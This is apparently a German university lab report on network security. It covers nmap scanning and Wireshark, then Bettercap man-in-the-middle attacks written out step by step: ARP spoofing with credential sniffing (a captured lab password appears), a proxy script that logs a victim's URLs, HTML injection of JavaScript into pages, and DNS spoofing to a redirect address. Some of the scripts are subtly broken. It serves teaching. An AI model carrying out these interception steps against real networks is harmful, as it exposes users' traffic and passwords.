Versuch E: Netzwerksicherheit

Lara Quitte, Tino Jeromin

1 Netzwerkerkundung mit nmap

1.1 Stichwörter

- **Stealth Scanning/TCP SYN Scanning**

  A stealth scan (sometimes known as a half open scan) is much like a full open scan with a minor difference that makes it less suspicious on the victim's device. The primary difference is that a full TCP three-way handshake does not occur. Looking at the following diagram, the initiator (device A) would send a TCP SYN packet to device B for the purpose of determining whether a port is open. Device B will respond with a SYN/ACK packet to the initiator (device A) if the port is open. Next, device A will send an RST to terminate the connection. If the port is closed, device B will sent an RST packet.

  - TCP-Paket mit SYN-Flag wird an Ziel-Host gesendet, um Verbindungsversuch vorzutäuschen
    - wird mit SYN/ACK-Paket vom Host geantwortet(zweiter Teil des Drei-Wege-Handshakes von TCP), so akzeptiert der Port Verbindungen, d.h. der Port ist offen
    - sendet der Host ein RST-Paket, so ist der Port geschlossen
    - sendet der Ziel-Host kein Paket, so ist ein Paketfilter vorgeschaltet
  - im Falle eines Erfolgs antwortet der Quell-Host dann mit RST-Paket, um die Verbindung wieder abzubauen(meist durch OS veranlasst, da offiziell kein Verbindungsversuch aufgebaut wurde)

  Diese Art von Scan wird auch Stealth-Scan genannt, da TCP-Implementierungen bei nicht vollständig zustande gekommenen Verbindungen den zugehörigen Dienst nicht informieren. Dieser erzeugt daher auch keine Log-Daten für versuchte Verbindungsaufbauten, bzw. bekommt vom Scan überhaupt nichts mit. Aus Anwendungssicht ist der SYN-Scan daher unsichtbar. Dies gilt aber nicht für die Netzwerkebene: Firewalls oder Intrusion Detection Systeme erkennen diese Art von Scan natürlich dennoch und können sie ggf. mit Hilfe des Portknocking-Verfahrens, bei dem der Port erst nach dem Empfangen einer vorvereinbarten Paketsequenz geöffnet wird, blockieren.

  Auf den meisten Quell-Systemen sind außerdem Systemverwalterrechte notwendig, weil TCP-Pakete vom Portscanner handgefertigt werden müssen.

  TCP-SYN-Scans lassen sich für Denial-of-Service-Attacken in Form von SYN-Flood nutzen.

- **Stealth Scanning/TCP FIN Scanning**

  As techniques and software advance in the struggle to maintain security against stealth scans, so do the scanner techniques and strategies. The security community is in almost perpetual catch-up mode to raise their level of security to meet the level of insecurity that the attacker puts forth in the advancement of attacking and probing technologies. The

FIN (Finish) scan is an answer to the possible logging capabilities of the SYN scan. Some packet loggers and firewalls are configured to detect SYN packets to restricted ports. In the FIN scan, a packet is sent with just the FIN flag set. If the port is closed, the host sends back a RST flag, whereas an open port simply ignores the packet and nothing is returned to the client. This is required behaviour as set out in the RFC for Transmission Control Protocol. [6] It is through exploiting the requirement that TCP has for ensuring packets arrive at their destination that attackers can probe open ports and possibly evade detection. Because a firewall or packet logger may be setup to detect SYN packets, a FIN packet would slip through unnoticed.

  - baut keine Verbindung auf, sondern untersucht Verhalten auf Folgepakete
  - falls Port offen ist, sollten Folgepakete ignoriert werden, da sie nicht zu einer bestehenden Verbindung gehören
  - ist Port geschlossen, so sollte ein Reset Paket gesendet werden
  - gesetzte Flags hängen vom Scantyp ab:
    * Typ: FIN, Flag: FIN
    * Typ: Xmas, Flag: FIN, URG, PUSH
    * Typ: Null, Flag: (keine)

- **Portscanner nmap**
  Mit Nmap lassen sich Netzwerke und / oder Computer im Internet (d.h. mit eigener IP-Adresse) auf offene Ports und den darauf lauschenden Diensten prüfen. Nmap kann z.B. zum Testen der eigenen Firewall-Konfiguration eingesetzt werden oder auch zum Testen des eigenen Computers auf offene Ports und (eventuell unerwünschte) im Hintergrund laufende Dienste.

  - **Einfacher Connect Scan** Hierbei wird pro zu scannendem Port eine volle TCP-Verbindung auf- und wieder abgebaut. Dieser Scan steht auch zur Verfügung, wenn nmap ohne Root-Recht aufgerufen wird. `-sT`
  - **SYN-Stealth-Scan** Ähnlich -sT, allerdings wird keine komplette TCP-Verbindung aufgebaut, daher unauffälliger. (Standard bei Root-Rechten) `-sS`
  - **Scannt UDP-Ports statt TCP.** `-sU`
  - **Ping-Scan** Prüft nur auf Erreichbarkeit über ICMP-Echo-Request, TCP-SYN-Paket auf Port 443, TCP-ACK-Paket auf Port 80 und ICMP-Timestamp-Request. Sinnvoll, um ganze Netzbereiche auf aktive Hosts zu testen. Dieser Scan steht auch zur Verfügung, wenn nmap ohne Root-Recht aufgerufen wird (dann allerdings nur mit SYN-Paketen auf Port 80 und 443). `-sn`
  - `nmap IP-ADRESSE -Pn` Scannt nach offenen Ports und deren Diensten.
  - **OS-Detection** Versucht über besondere Eigenarten der Netzwerkimplementierungen das Betriebssystem des Zieles zu identifizieren. `-O`

1.2 Versuch: Durchführung

- Verbinden mit dem Decker Container it-sec-1 über `docker exec -it it-sec-1 bash`
- Starten von `nmap`

- `nmap` nutzen um das Netzwerk zu untersuchen.
  - **minimale und eine maximale IP-Adresse herausfinden**
    1) `ip addr`
    Die Ausgabe mit "inet" davor enspricht der IP-Adresse (hier: 172.18.0.3/24)
    2) `nmap -sP 172.18.0.0/24`
    Scannt alle mit dem Netz verbundenen Geräte und Listet diese auf.
    nmap versucht, den Host-IP-Bereich im Netzwerk zu pingen, um zu sehen, ob sie existieren, und wenn sie es tun und antworten, werden sie in den nmap-Ergebnissen zurückgegeben und wenn sie nicht antworten oder nicht antworten aufgelistet. Es werden 5 Hosts gefunden.
    3) `nmap 172.18.0.0/24`
    Scannt nun die Ports auf jedem Gerät um festzustellen, welche offen sind.

- Die folgenden zur Verfügung stehenden Dienste konnten mit `nmap -sV -O 172.18.0.0/24 > nmap-services.txt` im Netzwerk gefunden werden:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-24 14:48 UTC
Nmap scan report for tinoVM (172.18.0.1)
Host is up (0.0000050s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.41 ((Ubuntu))
3001/tcp open  tcpwrapped
MAC Address: 02:42:0A:B1:64:F7 (Unknown)

Nmap scan report for it-sec-2.e_netzwerksicherheit_default (172.18.0.2)
Host is up (0.0000070s latency).
All 1000 scanned ports on it-sec-2.e_netzwerksicherheit_default (172.18.0.2)
    are closed
MAC Address: 02:42:AC:12:00:02 (Unknown)

Nmap scan report for firefox.e_netzwerksicherheit_default (172.18.0.3)
Host is up (0.0000070s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server xrdp
MAC Address: 02:42:AC:12:00:03 (Unknown)

Nmap scan report for wireshark.e_netzwerksicherheit_default (172.18.0.4)
Host is up (0.0000070s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server xrdp
MAC Address: 02:42:AC:12:00:04 (Unknown)

Nmap scan report for 17b47363d3f4 (172.18.0.5)
Host is up (0.000020s latency).
All 1000 scanned ports on 17b47363d3f4 (172.18.0.5) are closed
```

- Mit `nmap -p- 172.18.0.2` scannt man alle Ports. Das geheime Administratorpannel auf it-sec-2 befindet sich an Port: `62580`.

- Im Browser ist das geheime Administratorpannel unter: `http://172.18.0.2:62580/` zu finden.

- `nmap -p- 172.18.0.2`. Die Option des Stealthscannings in nmap kann genutzt werden, um it-sec-2 zu scannen und funktioniert, indem nmap an die ausgewählten Ports der IP-Adresse ein TCP-SYN Packet schickt. Ist der Port offen, wird ein SYN/ACK Packet zurückgeschickt. Dann sendet nmap ein RST Packet, damit das andere System die Verbindung schliesst. Ist der Port geschlossen, kommt ein RST zurück. Dies geht auch mit FIN Packeten.

- `nmap -O IP-Adress`
  Die Option in nmap, um das Betriebssystem eines gescannten Rechners zu erraten ist: `-O`. Das Hostsystem der VM ist: .

1.3 Frage

Welche unterschiedlichen Scantypen unterstützt nmap und warum haben diese unterschiedliche Effizienz?
Unterstützt werden der Idle-Scan, RPC-Scan, Windows-Scan, Bounce-Scan, XMAS-Scan, Null-Scan, FIN-Scan, UDP-Scan, Ping Sweep, TCP Connect, sowie der SYN Scan.
Je nach Komplexität der Scan-Methode ist die Geschwindigkeit sehr unterschiedlich. Die Effizienz hängt von mehreren Faktoren ab:

- sieht Scan wie eine normale Verbindung aus?
- muss Verbindung komplett aufgebaut werden oder wird nur ein Paket geschickt?
- kann jeder den Scan durchführen oder nur root?
- wie schnell ist die Methode?

Einige der Methoden, z.B. der TCP-ACK-Scan, können nicht selbst zwischen offenen und geschlossenen Ports unterscheiden, wodurch man hier mit einer anderen Port-Scan-Methode kombinieren muss. Der UDP-Scan kann nicht eindeutig bestimmen, ob das Paket durch eine Firewall geblockt wurde oder nur das richtige Protokoll hätte verwendet werden müssen. SYN-Scans bleiben oft unbemerkt, aber können von IDS erkannt werden, da der Ablauf untypisch für eine normale Verbindung ist.

2 Netzwerkuntersuchung mit Wireshark

2.1 Versuch

- Filtern der Aufzeichnungsdatei auf IP-Adressen und Ports
  `host <ip> and port <portnumber>`

- Nachvollziehen der getätigten Websiteaufrufe.

  – Der Unterschied zwischen Aufrufen mit verschlüsselter und denen mit unverschlüsselter Verbindung ist: Die unverschlüsselten sind lesbar, die verschlüsselten nicht.

- Ein Stream, der mithilfe von Wireshark isoliert werden kann, ist ein Kommunikationsstrom, also die Interaktion zwischen zwei Systemen. Dazu muss man erst ein Paket finden, das zur Interaktion zwischen den beiden Endpunkten gehört und darauf einen Verbindungsfilter anwenden. Möchte der Admin beispielsweise einen Authentifizierungs-Handshake im Detail verfolgen, bietet Wireshark dazu die Funktion der Stream-Verfolgung unter Analyze - Follow TCP Stream.

- **Verbinden Sie sich mit it-sec-1 ein und führen Sie einen Stealthscan auf Ihren Computer (auf dem Wireshark läuft) mit nmap aus. Zeichnen Sie währenddessen mit Wireshark den Datenverkehr auf und analysieren sie diesen, um den Scan dennoch ausfindig zu machen.**
  Der Stealth-Scan ist relativ einfach zu ausfindig zu machen, da abwechselnd 2 TCP-SYN Packete zum Host geschickt werden und 2 vom Host zu it-sec-1. Dies passiert tausendfach.

3 Angriffe auf das Netzwerk mit Bettercap

3.1 Stichwörter

- **Man in the Middle Attack**
  Eine Methode, bei der der Angreifer in den Datenverkehr zwischen zwei Kommunikationspartnern eingreift und beide Parteien glauben lässt, sie hätten es mit dem jeweils anderen zu tun. Anwendung finden Man-in-the-Middle-Angriffe in Rechnernetzen in erster Linie, um Verschlüsselungen via SSL/TLS auszuhebeln und so Zugriff auf geheime Informationen, Benutzernamen, Passwörter oder Bankdaten zu erlangen.

- **ARP Cache Poisoning, insbesondere MAC Flooding**
  Angriff auf Netzwerkebene, der die Man-in-the-Middle Attacke einleitet. Hierbei wird das ARP-Protokoll (Address Resolution Protocol) von einem potenziellen Angreifer missbraucht, um einen abzuhörenden PC im Netzwerk mitzuteilen, dass sich die MAC-Adresse des zugeordneten Default-Gateways geändert hat. Danach kann der Angreifer alle Daten (z.B. Passwörter, e-Mails) zwischen dem angegriffenen Computer und dem Gateway mitlesen. Dieser Angriff wird ausschließlich in Netzwerken verwendet, welche über so genannte Switches betrieben werden.
  Beim MAC Flooding wird mit einer Denial of Service in ein geswitchtes Ethernet massenhaft Datenpakete eingeschleust, welche alle eine andere MAC-Adresse enthalten. Der Switch speichert nun jede einzelne der gefälschten/generierten MAC-Adressen, bis seine Source Address Table überläuft. In diesem Fall schaltet der Switch in einen so genannten "Failopen Mode“ um. Dadurch werden nun alle Pakete, ob Unicast oder Broadcast, wie bei einem Hub, an alle angeschlossenen Netzteilnehmer gesendet. Damit hat ein Angreifer die Möglichkeit, den Netzwerkverkehr mitzuschneiden (sniffen).

- **DNS Spoofing**
  Form des Hackings, bei der fehlerhafte Domain-Name-System-Einträge im Zwischenspeicher (Cache) des DNS-Resolvers eingegeben werden, durch den der Name-Server eine falsche Antwort zurückgibt, z. B. eine falsche IP-Adresse. Dies führt dazu, dass der Datenverkehr auf den Computer des Angreifers (oder einen anderen Computer) umgeleitet wird (Man-in-the-Middle-Angriff). Die direkte Übersetzung von DNS Cache Poisoning bedeutet das Vergiften des DNS-Zwischenspeichers.

- **Javascript Injection**
  Bei der Javascript Injection wird fremdes Javascript z.B. mit Hilfe eines Formulares auf der Seite gespeichert (Typisches Beispiel: Kommentarfunktion). Sollte dieses Formular nicht entsprechend gefiltert werden, wird einem dadurch Tür und Tor geöffnet, fremde Inhalte oder gar Schadcode in eure Webseite einzubinden. (XSS)

- **DOS Attack**
  DoS Attacke ist der Oberbegriff für den Angriffe auf die Verfügbarkeit von Netzwerkdiensten, i.d.R. Internet-Diensten, wie z.B. Web-Server. Die häufigsten DoS Attacken

sind: Mail Bombing, Mail-List-Bombing, distributed DoS, distributed reflected DoS, Ping Flooding, SYN Flooding, Out-of-Band-Attack.

3.2 Versuche

3.2.1 Part 1

- **Welche Spoofing Methoden unterstützt Bettercap?**
  Bettercap unterstützt: ARP Spoofing, DNS Spoofing, DHCP6 Spoofing und NDP Spoofing (ipv6).
- **Welche HTTP Proxy Module werden bei Bettercap mitgeliefert?**
  Bettercap liefert hier `http.proxy` und `https.proxy`: Lenken den gesamten HTTP(S)-Verkehr um. Können dazu genutzt werden schädliche Inhalte in Websites einzubauen. `http.proxy` besitzt die Parameter `http.proxy.blacklist`, `http.proxy.injectjis`, `http.proxy.port`, `http.proxy.script`, `http.proxy.sslstrip` und `http.proxy.whitelist`.

3.2.2 Part 2: Netzwerkverkehr umleiten

- **Informieren Sie sich, wie Sie mit Bettercap sämtlichen Datenverkehr im Netzwerk über Ihren Rechner umleiten können. Informieren Sie sich, welche Spoofing Methode Sie dazu benötigen und warum.**
  Um sämtlichen Datenverkehr über den eigenen Rechner zu leiten muss arp-Spoofing verwendet werden, da es im lokalen Netzwerk stattfindet und auf der zweiten Ebene der Netzwerkprotokolle liegt. So werden alle Pakete und alle darüber liegenden Protokolle auch abgefangen (TCP, UDP, HTTP, ...).
  Bei dem ARP-Spoofing sendet der Angreifer gefälschte ARP-Pakete an das Opfer. In diesem ist statt der richtigen MAC-Adresse die MAC-Adresse des Angreifers enthalten, so dass das Opfer alle zukünftigen Pakete nur noch an den Angreifer sendet und dieser den gesamten Datenverkehr des Opfers mitschneiden kann.
- **verwendete Methode:** ARP Spoofing. Diese funktioniert wie folgt:
  - `chromium-browser` startet chrome
  - `sudo bettercap2` startet bettercap
  - `net.probe on` dieses Modul sendet unterschiedliche Testpakete an jede IP im Subnetz, damit `net.reckon` sie finden kann
  - `set arp.spoof.fullduplex true` If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail).
  - `arp.spoof.targets IP` A comma separated list of MAC addresses, IP addresses, IP ranges or aliases to spoof.
  - `arp.spoof.on` startet das ARP Spoofing
  - `net.sniff on` startet den packet sniffer.
    Alle Pakete des Opfers werden nun im Terminal des Angreifers aufgelistet.
    Werden Nutzername und ein Passwort auf einer Website eingegeben, so findet man dies im Terminal/Protokoll unter dem POST Request in Klartext wieder, falls es ein HTTP-Request ist.
- Passwort eines anderen Nutzers abfangen ist damit also möglich und das eingegebene Passwort lautet: 1TollesPasswort!

3.2.3 Part 3: Proxy Module

- **TCP Proxy Modul, welches die aufgerufene URL von HTTP-Anfragen auf der Konsole ausgibt:**

http.js

```
//Called when the script is loaded
function onLoad(){
    console.log("script activated!");
}

//Called when data is available
// return an array of bytes to override "data"
function onData(from, to, data){
    if(from == "192.168.1.135" || to == "192.168.1.135"){
      var data_readable = "";
      for(var 1=0; i<data.length; i++){
      data_readable += String.fromCharCode(parseInt(data[i]));
      }
      if(data_readable.indexOf("GET") != -1){
        var host = data_readable.split("Host: ")[1].split("\n")[0].trim();
        var path = data_readable.split("GET: ")[1].split("HTTP")[0].trim();
        console.log("http://"+host+path);
      }
    }
}
```

Figure 1: Quellcode TCP Proxy Modul

  - `cat print http.js` Zeig den Quellcode in Terminal an
  - `sudo bettercap2` Startet Bettercap
  - `net.probe on` dieses Modul sendet unterschiedliche Testpakete an jede IP im Subnetz, damit `net.reckon` sie finden kann
  - `set arp.spoof.targets 192.168.1.135` Eine mit Komma getrennte Liste von MAC Adressen, IP Adressen, IP ranges oder alias zum spoofen
  - `set tcp.proxy.script print-http.js` Pfad vom TCP Proxy Modul Skript
  - `set tcp.port 80` Port an den der TCP Proxy gebunden wird
  - `set tcp.address 144.217.110.12` Addresse an die der TCP proxy gebunden wird
  - `tcp.proxy on` Start the TCP proxy
  - `arp.spoof on` startet das ARP Spoofing

    `onCode` wird nun bei jedem TCP-Paket aufgerufen und überprüft ob der Empfänger oder Sender das Opfer ist.
    Wenn ja, werden die Daten des Pakets in der `for`-Schleife in einen String umgewandelt. Wenn dieser String `GET` enthält, handelt es sich um einen GET-Request und es werden der Host und Pfad aus dem String gefiltert.
    Ruft das Opfer nun in seinem Browser eine Seite auf, so wird dem Angreifer die URL der aufgerufenen Seite in seinem Terminal angezeigt.

- **HTTP Proxy Modul, das jeder Versuch des Rechners mit der IP 192.168.1.135, eine Webseite aufzurufen, dazu führt, dass im Quelltext der ausgelieferten Seite ein eigenes Javascript enthalten ist:**

```
// called when the script is loaded
function onLoad(){
    console.log("script is activated!");
}

// called when the request is sent to the real server
// and a response is received
function onResponse(req, res){
  if(res.ContentType.indexof('text/html')==0){
    var body = res.ReadBody();
    if(body.indexof('</head') != -1){
      res.Body = body.replace(
        "<head>",
        "<head><script>alert('Hi there!')</script>"
      );
    }
  }
}

```

Figure 2: Quellcode HTTP Proxy Modul

- `sudo bettercap2` Startet Bettercap.
- `net.probe on` Dieses Modul sendet unterschiedliche Testpakete an jede IP im Subnetz, damit `net.reckon` sie finden kann.
- `set arp.spoof.targets 192.168.1.135` Eine mit Komma getrennte Liste von MAC Adressen, IP Adressen, IP ranges oder alias zum spoofen.
- `set http.proxy.script js-inject.js` Pfad vom HTTP Proxy Modul Skript.
- `http.proxy on` Startet den TCP Proxy.
- `arp.spoof on` Startet das ARP Spoofing.

  Fängt nun der HTTP-Proxy eine Response von einem Server ab, wird `onResponse` aufgerufen. In der Funktion wird überprüft, ob eine html-Seite zurückgeliefert wird. Falls ja, wird die html-Seite mit einem Javascript-Aufruf ersetzt, sodass jede Website, die das Opfer aufruft, einen Alert erzeugt.

3.2.4 Part 4: Ausgabe anderer Website

- **Beim Aufruf einer bestimmten Webseite auf dem Laptop soll eine andere ausgeliefert werden.**
  - `sudo bettercap2` Startet bettercap.
  - `net.probe on` Dieses Modul sendet unterschiedliche Testpakete an jede IP im Subnetz, damit `net.reckon` sie finden kann.
  - `set arp.spoof.targets 192.168.1.135` Eine mit Komma getrennte Liste von MAC Adressen, IP Adressen, IP ranges oder alias zum spoofen.
  - `set dns.spoof.domains beispiel.de` Mit Komma getrennte Liste von Domains zum spoofen.
  - `set dns.spoof.adress 144.217.110.12` Ip Adresse, auf die die Domains geleitet werden sollen.

– `arp.spoof on` Startet das arp spoofing.

– `dns.spoof on` Startet das **dns spoofing**.

Öffnet das Opfer nun die Seite, hier beispiel.de, so wird er statt auf diese Seite, auf die Seite mit der Ip Adresse 144.217.110.12 geleitet. Der Angreifer kann dies in seinem Terminal sehen.

4 Drahtlose Netzwerke

4.1 Stichwörter

- **4-Wege-Handshake**
  Einige WLANs nach 802.11i und 802.11ac benutzen für die Authentifizierung ein vierstufiges Handshake-Verfahren, das eine höhere Sicherheit gegenüber dem Zwei- und Drei-Wege-Handshake bietet. Beim mehrstufigen Handshake erfolgt der Handshake zwischen dem WLAN-Client, das ist der Supplicant, und dem Access Point (AP), dem Authenticator.

- **WPA2**
  Wi-Fi Protected Access 2 (WPA2) ist die Implementierung eines Sicherheitsstandards für Funknetzwerke nach den WLAN-Standards IEEE 802.11a, b, g, n und ac und basiert auf dem Advanced Encryption Standard (AES). Er stellt den Nachfolger des mittlerweile als unsicher geltenden WPA dar, das wiederum auf dem ebenfalls als unsicher geltenden Wired Equivalent Privacy (WEP) basierte. WPA2 implementiert die grundlegenden Funktionen des neuen Sicherheitsstandards IEEE 802.11i. In diesem Zusammenhang wird auch der Begriff Robust Security Network (RSN) verwendet. Der Nachfolger ist WPA3.

- **deauthentication**
  Ein Wi-Fi-Deauthentication-Angriff (deauthentication - engl. Beglaubigungsentzug) ist eine Art von Denial-of-Service-Angriff der auf die Kommunikation zwischen einem Nutzergerät und ein Wi-Fi-Zugangspunkt abzielt.
  Anders als die meisten Störsender, wirkt Deauthentication gezielt. Das IEEE 802.11 (Wi-Fi) Protokoll umfasst die Definition eines Deauthentication-Frames. Das Senden dieses Frames durch den Zugangspunkt an einen Empfänger wird "sanctioned technique to inform a rogue station that they have been disconnected from the network" genannt.

  Ein Angreifer kann jederzeit einen gefälschten Deauthentication-Frame mit der Adresse des anzugreifenden Rechners an den Wireless Access Point senden. Das Protokoll verlangt keine Verschlüsselung für diesen Frame wenn die Sitzung mit Wired Equivalent Privacy (WEP) aufgebaut wurde. Der Angreifer benötigt nur die MAC-Adresse des anzugreifenden Rechners, die er im Klartext mittels Wireless Network Sniffing erhalten kann.

4.2 Fragen

Warum funktioniert die Überwachung eines bestimmten Rechners nur, wenn dieser sich neu mit dem Netzwerk verbindet oder einige Zeit abgewartet wurde?

Der Angreifer muss den 4-Way-Handshake mitschneiden, um mittels Brute-Force den Key zu erraten. Ohne diese Informationen können die Frames nicht entschlüsselt werden.

Kann man eine Neuverbindung des Zielrechners mit dem Netzwerk erzwingen?

Ein Angreifer kann jederzeit einen gefälschten Deauthentication-Frame mit der Adressedes anzugreifenden Rechners an den Wireless Access Point senden. Das Protokoll verlangtkeine Verschl usselung für diesen Frame wenn die Sitzung mit Wired Equivalent Privacy(WEP) aufgebaut wurde. Der Angreifer benötigt nur die MAC-Adresse des anzugreifendenRechners, die er im Klartext mittels Wireless Network Sniffing erhalten kann.

Welche Unterschiede sind bei verschlüsselten und unverschlüsselten WLAN-Verbindungen im überwachten Datenverkehr zu beobachten?

In einem unverschlüsselten WLAN-Netzwerk können alle Frames überwacht werden. In einem verschlüsselten WLAN-Netzwerk kann die Netzwerkkarte die Frames selbst nicht entschlüsseln und diese können daher auch nicht beobachtet werden. Um verschlüsselte Frames trotzdem zu beobachten muss der PSK (Pre-Shared-Key) bekannt sein und der 4-Way-Handshake des zu beobachteten Geräts muss mitgeschnitten werden.